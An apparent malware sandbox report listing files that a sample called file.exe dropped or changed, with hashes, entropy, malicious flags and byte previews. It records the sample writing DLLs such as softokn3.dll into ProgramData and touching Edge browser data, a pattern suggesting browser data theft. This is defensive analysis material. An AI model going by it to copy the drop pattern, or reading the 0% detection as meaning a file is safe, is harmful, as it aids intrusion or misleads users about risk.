Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3d67ac99-8b22-456b-a848-5ab3b382621d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.095008235112365
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWdsi1zNtmkNGENNGAbc8yKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6NGEIKtSmd6qE7lFoC
MD5:	670AC0050C1F6EAB6CDEC0E09A43C5DF
SHA1:	5C8EC9076458C248AA5470DE26100ED7F6B6AD37
SHA-256:	4EA98DFD96F536D2E997EFD14D59A406148FC1E167AF5FB5E241101796E8794C
SHA-512:	F14C674565BD02BC1DEB3BCCCD90F71F20849F86E3C8A4440906A9E22FB9A92EA84F49B68F6FFB51B0F60FCF7DA4487E38DE32825AE4416BF76B5060911C9370
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\623bcd8f-0e07-4e0b-a1a8-18e746165c84.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44933
Entropy (8bit):	6.095032961026291
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/si1zNtmkNGE9pc1tf9KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6NGECKtSmd6qE7lFoC
MD5:	948FFA7D30F5445D5738FBE44E0DDBAE
SHA1:	DF1CA4F05CFE6E9BEF0DDAB359041E5C1ACEB45D
SHA-256:	ED072B68C32E46DC1EC4F74077DAA233B3146B1A535E319003A99549CE9FAE50
SHA-512:	32B0023FCB3FB34B9C2508821D13A4F273FEE7D4FE13DB2DC82EC818778F5BC04858CDF68F287EBBB86EF8D0F994C79CE36D1CF8A5BF0C9DF1141EDEC058F2D0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\68e45932-3757-483c-8066-b56037094333.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.095008235112365
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWdsi1zNtmkNGENNGAbc8yKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6NGEIKtSmd6qE7lFoC
MD5:	670AC0050C1F6EAB6CDEC0E09A43C5DF
SHA1:	5C8EC9076458C248AA5470DE26100ED7F6B6AD37
SHA-256:	4EA98DFD96F536D2E997EFD14D59A406148FC1E167AF5FB5E241101796E8794C
SHA-512:	F14C674565BD02BC1DEB3BCCCD90F71F20849F86E3C8A4440906A9E22FB9A92EA84F49B68F6FFB51B0F60FCF7DA4487E38DE32825AE4416BF76B5060911C9370
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8dd1176b-30be-40f4-b5a5-f81318f1cf22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784299498082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMHkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/okzItSmd6qE7lFoC
MD5:	65FB180FD227EA0FECF67509152C594B
SHA1:	4ADDF7294C075095D59157E82A19D4F99D39091D
SHA-256:	9141DC4CA79BE509BE32DC6C8902A28EB98F69EB549758EADF3A215DE444664A
SHA-512:	67EEF3AB533137E543E11DC6D63879928EBBCCD39D9AF7944BF4B6FE7B337E903E377AACE27828DF884D122F21C65B51C5928997ABBB594A7EA072289D65A744
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674D55B2-1F04.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046668627612584265
Encrypted:	false
SSDEEP:	192:+Jutz0m5tmanOAtKYFJgA8x5XSggykfhMNNE4ZIK/ERQcQe4BG1bwWn8y08Tcm2D:+Yp0UtNbgk9hghYH4E1x08T2RGOD
MD5:	0BACFB138A8CE16003980979D3C1D14B
SHA1:	7D8F6313607B6C2225CD3A467DF002D8BF8EAA38
SHA-256:	BE6F416822083E70822D55852AA576196026519C0A12F06943EB540258A8F277
SHA-512:	A98937168621C0BDA43790F906AC7CC11E48A7E93673858661A0477C297591AC5611892721AF650B3AB15BF539DA028523B5D380AE4E41CA34FD11F61D799D9C
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".gqkfnm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. ...2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784299498082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMHkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/okzItSmd6qE7lFoC
MD5:	65FB180FD227EA0FECF67509152C594B
SHA1:	4ADDF7294C075095D59157E82A19D4F99D39091D
SHA-256:	9141DC4CA79BE509BE32DC6C8902A28EB98F69EB549758EADF3A215DE444664A
SHA-512:	67EEF3AB533137E543E11DC6D63879928EBBCCD39D9AF7944BF4B6FE7B337E903E377AACE27828DF884D122F21C65B51C5928997ABBB594A7EA072289D65A744
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b93f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784299498082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMHkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/okzItSmd6qE7lFoC
MD5:	65FB180FD227EA0FECF67509152C594B
SHA1:	4ADDF7294C075095D59157E82A19D4F99D39091D
SHA-256:	9141DC4CA79BE509BE32DC6C8902A28EB98F69EB549758EADF3A215DE444664A
SHA-512:	67EEF3AB533137E543E11DC6D63879928EBBCCD39D9AF7944BF4B6FE7B337E903E377AACE27828DF884D122F21C65B51C5928997ABBB594A7EA072289D65A744
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b94e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784299498082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMHkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/okzItSmd6qE7lFoC
MD5:	65FB180FD227EA0FECF67509152C594B
SHA1:	4ADDF7294C075095D59157E82A19D4F99D39091D
SHA-256:	9141DC4CA79BE509BE32DC6C8902A28EB98F69EB549758EADF3A215DE444664A
SHA-512:	67EEF3AB533137E543E11DC6D63879928EBBCCD39D9AF7944BF4B6FE7B337E903E377AACE27828DF884D122F21C65B51C5928997ABBB594A7EA072289D65A744
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c3ce.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784299498082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMHkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/okzItSmd6qE7lFoC
MD5:	65FB180FD227EA0FECF67509152C594B
SHA1:	4ADDF7294C075095D59157E82A19D4F99D39091D
SHA-256:	9141DC4CA79BE509BE32DC6C8902A28EB98F69EB549758EADF3A215DE444664A
SHA-512:	67EEF3AB533137E543E11DC6D63879928EBBCCD39D9AF7944BF4B6FE7B337E903E377AACE27828DF884D122F21C65B51C5928997ABBB594A7EA072289D65A744
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c3de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784299498082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMHkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/okzItSmd6qE7lFoC
MD5:	65FB180FD227EA0FECF67509152C594B
SHA1:	4ADDF7294C075095D59157E82A19D4F99D39091D
SHA-256:	9141DC4CA79BE509BE32DC6C8902A28EB98F69EB549758EADF3A215DE444664A
SHA-512:	67EEF3AB533137E543E11DC6D63879928EBBCCD39D9AF7944BF4B6FE7B337E903E377AACE27828DF884D122F21C65B51C5928997ABBB594A7EA072289D65A744
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+J